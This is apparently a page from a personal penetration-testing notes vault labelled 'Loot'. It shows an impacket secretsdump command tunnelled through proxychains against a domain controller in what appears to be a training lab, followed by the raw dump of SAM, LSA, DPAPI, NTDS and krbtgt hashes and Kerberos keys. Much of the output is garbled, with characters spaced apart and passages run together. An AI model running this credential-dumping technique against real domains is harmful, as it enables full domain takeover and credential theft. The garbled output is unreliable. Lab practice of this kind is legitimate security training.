Loot

┌──(jay㉿jsec)-[~/Documents/tools/impacket/examples] └─$ proxychains -f /home/jay/Documents/offshore/DC02/proxychains4.conf python secretsdump.py dev.admin.offshore.com/Administrator@DC02.dev.admin.offshore.com -no-pass -k
[proxychains] config file found: /home/jay/Documents/offshore/DC02/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Impacket v0.10.1.dev1+20230502.194317.86a9fffe - Copyright 2022 Fortra

[proxychains] Strict chain … 127.0.0.1:5000 … DC02.dev.admin.offshore.com:445 … OK [] Service RemoteRegistry is in stopped state [] Starting service RemoteRegistry [] Target system bootKey: 0x50f374409c9699fe7dd5fe709ac21830 [] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [] Dumping cached domain logon information (domain/username:hash) [] Dumping LSA Secrets [] $M A C H I NE . A CC D E V \DC 02$ :plain_password_hex:609bb0888bd5afc0861147c55285d5796c2a0c56549242fc6af60443656319db10ad06b9a1f7ab13b44a65274112e1ddd746a4c1841259b943c1b836a4a0c3d48ab72ae464c0833433bf6275ea4bc6ba5028b32ad9010429990e7c56b38344e20034001c10b998695a547dc8b2e616309989e333e2c7db3e2c422e30f54c9caa3a3316ee3b86b9c12fe430e28855c889c1290e335dce4675558e8694b4536cec2b3edb46f45d9a54e06291abbc1d7c0ea9e845bdf4a59642f576fe72af2c695215ce2c482a14df702883047835ad1dc820ec423fbf46f1e51acba88d727acb87c5d395c4ff63ca3308d74a101bc9021f DEV\DC02 $: aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : d c a 81 e 6 f 8 e 5 e d 2 c 63 a 8 b d 991 d 0 f a dfd 8 ::: [*] D P A P I_{S} Y STEM d p a p i_{m} a c hin e k ey : 0 x 269272727 f e 809660 f 56725 f bbb df 7 b d 1 b 9660 fdd p a p i_{u} ser k ey : 0 x 7 ab e 3 a 257 e 803 f 41 d 14919 c 09631 e d a f 8477 f b d c [*] N L$ KM 0000 3D 3D E8 3C D1 46 2B 26 15 28 5F D7 F6 60 C4 2C ==.<.F+&.(_..`., 0010 FC 31 A1 08 82 BD 8F 1B C8 59 44 5C 20 DC AC 54 .1…YD\ ..T 0020 54 DE 73 3A 14 1A 39 D3 9D 19 3D 83 1C E6 41 3D T.s:..9…=…A= 0030 2E B9 01 9F 68 75 53 A3 C5 75 B4 AC 54 8E 85 3A …huS..u..T..: NL $K M : 3 d 3 d e 83 c d 1462 b 2615285 fd 7 f 660 c 42 c f c 31 a 10882 b d 8 f 1 b c 859445 c 20 d c a c 5454 d e 733 a 141 a 39 d 39 d 193 d 831 ce 6413 d 2 e b 9019 f 687553 a 3 c 575 b 4 a c 548 e 853 a [*] D u m p in g Do main C re d e n t ia l s (d o main \uid : r i d : l mha s h : n t ha s h) [*] U s in g t h eD RS U A P I m e t h o d t o g e tNT D S . D I T secre t s [p ro x yc hain s] St r i c t c hain ...127.0.0.1 : 5000... D C 02. d e v . a d min . o ff s h ore . co m : 135... O K [p ro x yc hain s] St r i c t c hain ...127.0.0.1 : 5000... D C 02. d e v . a d min . o ff s h ore . co m : 49667... O K A d mini s t r a t or : 500 : aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : c 61 f 43 b 6 a 4 d b 2676714713836 b 7 d 2 e a 6 ::: G u es t : 501 : aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : 31 d 6 c f e 0 d 16 a e 931 b 73 c 59 d 7 e 0 c 089 c 0 ::: k r b t g t : 502 : aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : 9404 d e f 404 b c 198 fd 9830 a 3483869 e 78 ::: De f a u lt A cco u n t : 503 : aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : 31 d 6 c f e 0 d 16 a e 931 b 73 c 59 d 7 e 0 c 089 c 0 ::: II S_{d} e v : 1105 : aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : ce 18 f 9730484 e d 029749730 e 2 f 82 b 147 ::: j oe : 1604 : aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : 31 d 6 c f e 0 d 16 a e 931 b 73 c 59 d 7 e 0 c 089 c 0 ::: D C 02$ :1000:aad3b435b51404eeaad3b435b51404ee:dca81e6f8e5ed2c63a8bd991d0fadfd8::: WS03 $: 1104 : aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : 9 c 8796117 b f 0750805 e 6989 f 98 f cc 4 f e ::: a tt a c k ersys t e m$ :11101:aad3b435b51404eeaad3b435b51404ee:ef266c6b963c0bb683941032008ad47f::: ADMIN $: 1103 : aa d 3 b 435 b 51404 ee aa d 3 b 435 b 51404 ee : 2 a 225 c 57 c f 5 a 501 e f 06 f 90 e 2 a 917 d e f 4 ::: CORP$ :1109:aad3b435b51404eeaad3b435b51404ee:5953a463d9da39f919e43d423a338534::: [] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:acac0da333c53ea3ba7e52ad989681d999738cfeea20c66a0e893939ddc477de Administrator:aes128-cts-hmac-sha1-96:8178a5d200fc12ebffbea1342c92b4b0 Administrator:des-cbc-md5:13d0b99e80e620b0 krbtgt:aes256-cts-hmac-sha1-96:ff860b4fd2c2f5564510b6859a5a48bfe946f8bec8b09513ad34143e30a11fd7 krbtgt:aes128-cts-hmac-sha1-96:09788e9595e400892b1b0adbb3fb998b krbtgt:des-cbc-md5:b3468c028fa8f434 IIS_dev:aes256-cts-hmac-sha1-96:722a36b24dfbfad20cbff913305f50d536cb5d617888f58171266465985efb37 IIS_dev:aes128-cts-hmac-sha1-96:d3f73a9874b8c75bce567b572829a57d IIS_dev:des-cbc-md5:61c8cb0e49d35880 DC02 $: a es 256 - c t s - hma c - s ha 1 - 96 : d 91392663039 dd e 10 df ee dd 71 c 66 a 19 d 93559 c 1 a 665 df 2 a 01 c 886621 c d 43928 eD C 02$ :aes128-cts-hmac-sha1-96:e2f8737c7f5a0688d191329b8fb72696 DC02 $: d es - c b c - m d 5 : b 6 ba c 10 e 54 ec d 980 W S 03$ :aes256-cts-hmac-sha1-96:56c8faa6419b632e07dc8b40dfa29b4810728633389a5a84835abce4fb76a72b WS03 $: a es 128 - c t s - hma c - s ha 1 - 96 : 6 c 2 f 4 a c 6897723 a c 7549456255 e b 6 a c 3 W S 03$ :des-cbc-md5:5786c845ef86c268 attackersystem $: a es 256 - c t s - hma c - s ha 1 - 96 : 891 b 3 b 106416 a f 4 e 53899 f 7 d a 6 b df 3 b 8 f 513978 c 53 b 0 b 9 d 9 b e 9 e 4442531 c f 31 aa tt a c k ersys t e m$ :aes128-cts-hmac-sha1-96:7006f50cd20869d05210c3238a6457cb attackersystem $: d es - c b c - m d 5 : 62 fd 152 a 49 e 0 a d 75 A D M I N$ :aes256-cts-hmac-sha1-96:0605f80e0f957049e003d63277d56db48610c4ff3275e4a0e85c7c8a05464e5c ADMIN $: a es 128 - c t s - hma c - s ha 1 - 96 : b 92 c 269045562783 a f e 66 f 6 c 5862000 c A D M I N$ :des-cbc-md5:310bfd6ed589049e CORP $: a es 256 - c t s - hma c - s ha 1 - 96 : bb f 0 d 089 d 1728 f 773 d c 53 a 6 c 4 a 26 e 5 d 8 f 75301 f 928 e 0186481297 c 231 d c f 68 fd CORP$ :aes128-cts-hmac-sha1-96:32de2889b5489b3ad8dc867807933a29 CORP$:des-cbc-md5:16d0083483e9d05b

Malleum Knowledge Base

Explorer

Loot

Graph View